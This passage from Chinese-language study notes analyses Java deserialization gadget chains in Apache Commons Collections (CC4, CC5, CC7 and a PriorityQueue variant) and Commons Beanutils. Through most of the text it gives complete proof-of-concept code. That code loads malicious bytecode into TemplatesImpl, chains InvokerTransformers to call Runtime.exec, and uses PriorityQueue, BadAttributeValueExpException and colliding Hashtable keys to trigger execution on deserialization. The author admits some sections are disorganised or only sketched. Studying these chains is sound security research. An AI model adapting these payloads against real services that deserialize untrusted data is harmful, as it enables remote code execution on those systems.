也就是我们需要两次,看一下add方法,PriorityQueue 的堆结构需要依赖元素的排列顺序。如果不添加元素,反序列化时堆中没有实际的数据,反序列化后也不会调用排序逻辑,自然不会触发恶意代码链。

public boolean add(E e) {
    return offer(e); // 调用 offer
}
public boolean offer(E e) {
    if (e == null)
        throw new NullPointerException();
    modCount++;
    int i = size; // 当前队列大小
    if (i >= queue.length)
        grow(i + 1);
    size = i + 1;
    if (i == 0)
        queue[0] = e;
    else
        siftUp(i, e); // 大小不为0, 调用 siftUp
    return true;
}
private void siftUp(int k, E x) {
    if (comparator != null)
        siftUpUsingComparator(k, x); // 这里会走向我们的链路终端
    else
        siftUpComparable(k, x);
}
private void siftUpUsingComparator(int k, E x) {
    while (k > 0) {
        int parent = (k - 1) >>> 1;
        Object e = queue[parent];
        if (comparator.compare(x, (E) e) >= 0)
             break;
        queue[k] = e;
        k = parent;
    }
    queue[k] = x;
}

和当时 URLDNS 那个有相似的感觉,我们在add的时候,就会触发compare(),所以不能直接去把构造好的TransformingComparator传进去,不然就会在序列化的时候触发。

添加元素的作用包括:

  1. 初始化堆结构:确保 PriorityQueue 在反序列化后需要重新调整堆。
  2. 确保调用 Comparator.compare()add 方法会在插入元素时显式调用 Comparator.compare(),从而引发恶意代码链。

在这里我们选择先把做一个无意义的TransformingComparator放到PriorityQueue里面,然后add进去两个值,再去反射修改TransformingComparatortransformer

最终的 POC

    TemplatesImpl templates = new TemplatesImpl();
    Class tc = templates.getClass();
    Field nameField = tc.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates, "aniale");
    Field bytecodesField = tc.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);

    byte[] code = Files.readAllBytes(Paths.get("D://Java//Classes/Test.class"));
    byte[][] codes = {code};
        bytecodesField.set(templates, codes);
    //        Transformer transformer = templates.newTransformer();
    Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(templates),
            new InvokerTransformer("newTransformer", null, null)
    };
    org.apache.commons.collections4.functors.ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    TransformingComparator transformingComparator = new TransformingComparator(new org.apache.commons.collections4.functors.ConstantTransformer(1));
    PriorityQueue priorityQueue=new PriorityQueue(transformingComparator);
    priorityQueue.add(1);
    priorityQueue.add(2);
    Class tc2 = transformingComparator.getClass();
    Field comparator = tc2.getDeclaredField("transformer");
        comparator.setAccessible(true);
        comparator.set(transformingComparator,chainedTransformer);
    serialize(priorityQueue);
    unserialize();
}

还有其他两种写法,第一种是在new PriorityQueue时候直接new一个空的,再去add,再去改priorityQueuecomparator为设计好的transformingComparator

第二种是修改 size 防止序列化时进入链路

由于priorityQueue.add是当 size = 2时, 会调用进链路, 那么我们可以第一次add后, 将 size 改为0, 第二次add后, 将 size改为2, 这样更方便一点, 就不用在调用进链路时, 去切断链路了, 因为从开头就已经切断了

CC4

这个链的特性则是无需使用ChainedTransformer, 也就避免了Transformer[]这个数组的使用,这个避免数组的使用我们之后在 shiro 的反序列化攻击再分析

这里由于PriorityQueue::readObject的入口点可以传递任意对象到我们的链路中, 所以我们可以直接传递一个TemplatesImpl对象过去, 通过调用InvokerTransformer::transform去调用我们TemplatesImpl::newTransformer方法即可

POC

TemplatesImpl templates = new TemplatesImpl();
    Class tc = templates.getClass();
    Field nameField = tc.getDeclaredField("_name");
    nameField.setAccessible(true);
    nameField.set(templates, "aniale");
    Field bytecodesField = tc.getDeclaredField("_bytecodes");
    bytecodesField.setAccessible(true);
    byte[] code = Files.readAllBytes(Paths.get("D://Java//Classes/Test.class"));
    byte[][] codes = {code};
//        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
//                new ConstantTransformer(TrAXFilter.class), // 接收任意参数, 返回 TrAXFilter.class 这个类
//                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}) // TrAXFilter.class 作为 InstantiateTransformer::transform 的参数调用过去, 从而调用到了 templates.newTransformer 方法, 进入类加载器
//        });
    InvokerTransformer<Object, Object> invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});
    ConstantTransformer<Object, Object> tmpTransformer = new ConstantTransformer("tmp"); // 对其进行一次无效赋值
    TransformingComparator transformingComparator = new TransformingComparator(tmpTransformer);
    PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
    priorityQueue.add(templates);
    priorityQueue.add(templates);

    Field transformer = transformingComparator.getClass().getDeclaredField("transformer");
    transformer.setAccessible(true);
    transformer.set(transformingComparator, invokerTransformer); // add 方法走完, 再改回来我们的恶意类

    serialize(priorityQueue);
    unserialize();
}

CC5

TiedMapEntry::toString 链式调用

看一下TiedMapEntry的部分定义,很显然存在可控的mapkey,触发toString->getValue->Map::getMapLazyMap即可

public class TiedMapEntry implements Map.Entry, KeyValue, Serializable{
    public TiedMapEntry(Map map, Object key) {
        super();
        this.map = map;
        this.key = key;
    }
    public Object getValue() {
        return map.get(key);
    }
    public String toString() {
        return getKey() + "=" + getValue();
    }
}

BadAttributeValueExpException::readObject 入口方法 - 调用 toString

image-20241207150656524

POC

Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
            new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
            new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
    };
    Transformer transformerChain = new ChainedTransformer(transformers);

    Map innerMap = new HashMap();
    Map lazymap = LazyMap.decorate(innerMap, transformerChain);

    TiedMapEntry tiedmap = new TiedMapEntry(lazymap,123);
    BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
    Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
        val.setAccessible(true);
        val.set(poc,tiedmap);
		serialize(poc);

CC7

key传递和处理挺绕的,涉及hash值的碰撞,应该先去研究下HashMapHashTable源码和逻辑

我写的太乱了,有空再重新整理一下

Hashtable::put 流程分析

HashtableHashMap 的功能是类似的, 在 JDK 高版本中, 开发了 HashMap, 替代了 Hashtable

put方法通过遍历桶中链表(拉链法解决哈希冲突),检查是否已经有相同键。

  • entry.hash == hash: 比较哈希值,确保键的哈希值一致。
  • entry.key.equals(key): 比较键本身,确保语义上的相等。

如果找到匹配的键:

  • 更新键对应的值。
  • 返回旧值,表示该键之前已存在。

image-20241207153612333

在上面向Hashtable两次put的操作可以看到, 如果两个keyhashCode()方法处理后,hash不同, 就不会调用到entry.key.equals(key)中去. 而如果hash相同, 则不会

AbstractMapDecorator::equals 链式调用

AbstractMap::equals调用了LazyMap::get方法,m需要传一个LazyMap进来

image-20241207160021672

image-20241207155717760

然后是AbstractMapDecoratorequals(),这个是对于new LazyMap时候传入的HashMap的调用,因为HashMap extends AbstractMap,而LazyMap extends AbstractMapDecorator ,我说的好几把绕,对着 POC 捋一下思路就是

在对两个LazyMap进行equals比较时,调用的是AbstractMapDecorator::equals再去调用里面包裹的HashMap继承的AbstractMap::equals去调用get()

Transformer[] transformerChain = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod",
                new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
        new InvokerTransformer("invoke",
                new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
        new InvokerTransformer("exec",
                new Class[]{String.class}, new Object[]{"calc"}) // 调用 runtime对象.exec(calc)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerChain); // 准备 chainedTransformer, 递归调用

// 准备两个 HashMap
HashMap<Object, Object> hashMap1 = new HashMap<>();
HashMap<Object, Object> hashMap2 = new HashMap<>();

hashMap1.put("aniale", null);
hashMap2.put("hacker", null);

// 准备两个 LazyMap
LazyMap lazyMap1 = (LazyMap) LazyMap.decorate(hashMap1, chainedTransformer); // 创建一个 lazyMap 对象
LazyMap lazyMap2 = (LazyMap) LazyMap.decorate(hashMap2, chainedTransformer); // 创建一个 lazyMap 对象

lazyMap1.equals(lazyMap2); // 进行比较

Hashtable::readObject 入口方法 - 调用 equals

调用了reconstitutionPut

    private void readObject(java.io.ObjectInputStream s)
         throws IOException, ClassNotFoundException
    {
        // Read the number of elements and then all the key/value objects
        for (; elements > 0; elements--) {
            @SuppressWarnings("unchecked")
                K key = (K)s.readObject();
            @SuppressWarnings("unchecked")
                V value = (V)s.readObject();
            // synch could be eliminated for performance
            reconstitutionPut(table, key, value);
        }
    }
    private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
        throws StreamCorruptedException
    {
        if (value == null) {
            throw new java.io.StreamCorruptedException();
        }
        int hash = key.hashCode();
        int index = (hash & 0x7FFFFFFF) % tab.length;
        for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
            if ((e.hash == hash) && e.key.equals(key)) {
                throw new java.io.StreamCorruptedException();
            }
        }
        @SuppressWarnings("unchecked")
            Entry<K,V> e = (Entry<K,V>)tab[index];
        tab[index] = new Entry<>(hash, key, value, e);
        count++;
    }

e.key.equals(key)的key就是我们第一次put进去的key,为什么需要put两次呢?

第一次进入reconstitution时,tab[index]是未赋值的,因此为null,进入不了for循环内,第二次put就可以进入for循环,此时e.key就是LazyMap1key就是LazyMap2 然后就调用lazymap1.equals(lazymap2),由于Lazymap没有equals方法,一直回溯就到了Abstractmap.equals

Hashcode调用与key值碰撞

现在还有一个问题就是怎么满足e.hash == hashe.hash就是对于key的hashCode

回到我们一开始讨论的put,如果在那个时候hashCode值不一样的话,就不会调用equals,那么hashCode是如何处理的呢

String::hashCode方法的定义如下:

public int hashCode() {
    int h = hash; // 默认为0
    if (h == 0 && value.length > 0) {
        char val[] = value; // private final char value[]; String 包装的每个字符串, 用 char[] 进行包装
        for (int i = 0; i < value.length; i++) {
            h = 31 * h + val[i];
            /*  假设字符串 ab
            	31 * 0 + a的ASCII
            	a的ASCII * 31 + b的ASCII
            	... 以此类推
            */
        }
        hash = h;
    }
    return h;
}

那么我们是否可以构建出两个不同的字符串, 但hashCode相同的字符串呢?编写如下python脚本:

Dict1 = {}
for i in range(1,127):
    for j in range(1,127):
        key = i * 31 + j
        nowKey = Dict1.get(key)
        if nowKey != None:
            print(nowKey + " = " + (chr(i) + chr(j)))
        Dict1[key] = chr(i) + chr(j)

随便找一个 Mg = NH

image-20241207180706620

public abstract class AbstractMap<K,V> implements Map<K,V> {
    public int hashCode() { // LazyMap.hashCode() 实际上调用到这里
        int h = 0;
        Iterator<Entry<K,V>> i = entrySet().iterator();
        while (i.hasNext())
            h += i.next().hashCode(); // 对每一个 Entry 进行调用 hashCode() 方法, 然后加到 h 变量中
        return h;
    }
}

public class HashMap<K,V> extends AbstractMap<K,V> implements Map<K,V>, Cloneable, Serializable {
    static class Node<K,V> implements Map.Entry<K,V> {
        final int hash;
        final K key;
        V value;
        Node<K,V> next;

        public final int hashCode() {
            return Objects.hashCode(key) ^ Objects.hashCode(value); // 每个 entry 是由 entry[key].hashCode ^ entry[value].hashCode 的运算结果
        }
    }
}

public Class Object {
    public static int hashCode(Object o) {
        return o != null ? o.hashCode() : 0; // 不是 null 就调用 hashCode
    } 
}

可以看到的是, 如果对LazyMap进行hashCode操作, 实际上会调用到HashMap$Node.hashCode中,HashMap$Node.hashCode的算法只是将key && value都进行异或操作了.

这里两个LazyMapvalue值相同, 而Key使用了不同字符但hashCode相同的字符, 那么这两个LazyMap所计算出来的hashCode应该也是相同的

总结下来也就是先put两个不一样key,为了避免在向Hashtableput LazyMap时两个hashCode相同导致不会调用到addEntry方法, 底层table数组也不会改变,所以就得再最后把那个不一样的删了再加一个一样的

POC

Transformer[] transformerChain = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", // public Method getMethod(String name, Class<?>... parameterTypes)
                    new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
            new InvokerTransformer("invoke", // public Object invoke(Object obj, Object... args)
                    new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
            new InvokerTransformer("exec",
                    new Class[]{String.class}, new Object[]{"calc"}) // 调用 runtime对象.exec(calc)
    };
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformerChain); // 准备 chainedTransformer, 递归调用
    // 准备两个 HashMap
    HashMap<Object, Object> hashMap1 = new HashMap<>();
    HashMap<Object, Object> hashMap2 = new HashMap<>();
    hashMap1.put("Mg", null);
    hashMap2.put("aniale", null); // 防止后面 put 时, 无法进入 addEntry 方法, 所以这里需要随机 put 一个字符串
    // 准备两个 LazyMap
    LazyMap lazyMap1 = (LazyMap) LazyMap.decorate(hashMap1, chainedTransformer);
    LazyMap lazyMap2 = (LazyMap) LazyMap.decorate(hashMap2, chainedTransformer);

    Hashtable<LazyMap, Object> evilTable = new Hashtable<>();
    evilTable.put(lazyMap1, 1);
    evilTable.put(lazyMap2, 1); // put 完毕后, 没有进入 addEntry, 因为 "aniale".hashCode() != "Mg".hashCode()

    hashMap2.remove("aniale"); // put 完毕了, 程序不报错, aniale 没有用了, 移除掉
    hashMap2.put("NH", null); // 塞入与 }~ 字符串 hashCode 相同的值, 准备序列化

    serialize(evilTable);
    unserialize();
}

Commons Beanutils

CommonsBeanutils 是应用于JavaBean的工具,它提供了对普通 Java 类对象(也称为 JavaBean)的一些操作方法

对不起这篇懒得写了,大致写一下

先是 PropertyUtils.getProperty的调用

然后是Xalan ClassLoader利用中,TemplatesImpl::getOutputProperties方法是整个Xalan ClassLoader利用的起点

TemplatesImpl templates = new TemplatesImpl();
        Class tc = templates.getClass();
        Field nameField = tc.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates, "aniale");
        Field bytecodesField = tc.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        Field factory = tc.getDeclaredField("_tfactory");
        factory.setAccessible(true);
        factory.set(templates, new TransformerFactoryImpl());

        byte[] code = Files.readAllBytes(Paths.get("D://Java//Classes/Test.class"));
        byte[][] codes = {code};
        bytecodesField.set(templates, codes);
//        Transformer transformer = templates.newTransformer();

        PropertyUtils.getProperty(templates, "outputProperties");

POC

public static void main(String[] args) throws Exception {
    TemplatesImpl templates = new TemplatesImpl();
    Field bytecodes = templates.getClass().getDeclaredField("_bytecodes"); // 最终调用到 defineClass 方法中加载类字节码
    Field name = templates.getClass().getDeclaredField("_name"); // 放置任意值
    Field tfactory = templates.getClass().getDeclaredField("_tfactory"); // 必须放置 TransformerFactoryImpl 对象
    name.setAccessible(true);
    tfactory.setAccessible(true);
    bytecodes.setAccessible(true);
    byte[][] myBytes = new byte[1][];
    myBytes[0] =
            new BASE64Decoder().decodeBuffer("恶意类字节码的 BASE64"); // 这个恶意类必须继承`com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet`抽象类, 之前有分析过, 就不提及了.
    bytecodes.set(templates, myBytes);
    name.set(templates, "");
    tfactory.set(templates, new TransformerFactoryImpl());

    Class<?> comparatorClazz = Class.forName("javax.swing.LayoutComparator");
    Constructor<?> comparatorClazzConstructor = comparatorClazz.getDeclaredConstructor();
    comparatorClazzConstructor.setAccessible(true);
    Comparator o = (Comparator) comparatorClazzConstructor.newInstance();

    BeanComparator beanComparator = new BeanComparator("outputProperties", new Comparator() {
        @Override
        public int compare(Object o1, Object o2) {
            return 0;
        }
    }); // outputProperties 可控, 第二个参数传递一个 Comparator.

    Field comparator = beanComparator.getClass().getDeclaredField("comparator");
    comparator.setAccessible(true);
    comparator.set(beanComparator, null); // 由于 Comparator 不支持序列化, 所以在序列化时, 会报错, 所以我们在这里将其改为null, 为了支持序列化.

    // beanComparator.compare(templates, templates); // 将可控的 templates 传入, 调用则弹计算器
    PriorityQueue priorityQueue = new PriorityQueue(beanComparator); // 为了防止序列化前, 就会调用 compare 方法, 这里先传递一个没用的 Comparator
    Field size = priorityQueue.getClass().getDeclaredField("size");
    size.setAccessible(true);

    priorityQueue.add(templates); // 将可控的 templates 传入, 调用则弹计算器
    size.set(priorityQueue, 0); // 通过修改 size, 防止 add 方法调用到链路
    priorityQueue.add(templates);
    size.set(priorityQueue, 2); // 将 size 改回正常的, 防止反序列化时进入不了链路

    serialize(priorityQueue);
    deserialize();
}

public static void serialize(Object object) throws Exception {
    ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D:/heihu577.ser"));
    objectOutputStream.writeObject(object);
}

public static Object deserialize() throws Exception {
    ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D:/heihu577.ser"));
    return objectInputStream.readObject();
}

参考文章

https://mp.weixin.qq.com/s?__biz=MzkwMzQyMTg5OA==&mid=2247485098&idx=1&sn=1e7ace694e4e86e1d2421539ce5ef4c8&chksm=c186aa323749fdde224e86564c1fca1ac64bab3b4b71542342b7917b36324582440fc9321363&mpshare=1&scene=23&srcid=1202uH5nyI2mDrg7dc5v3RlU

https://boogipop.com/2023/03/02/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E7%A0%94%E7%A9%B6

P神《Java安全漫谈》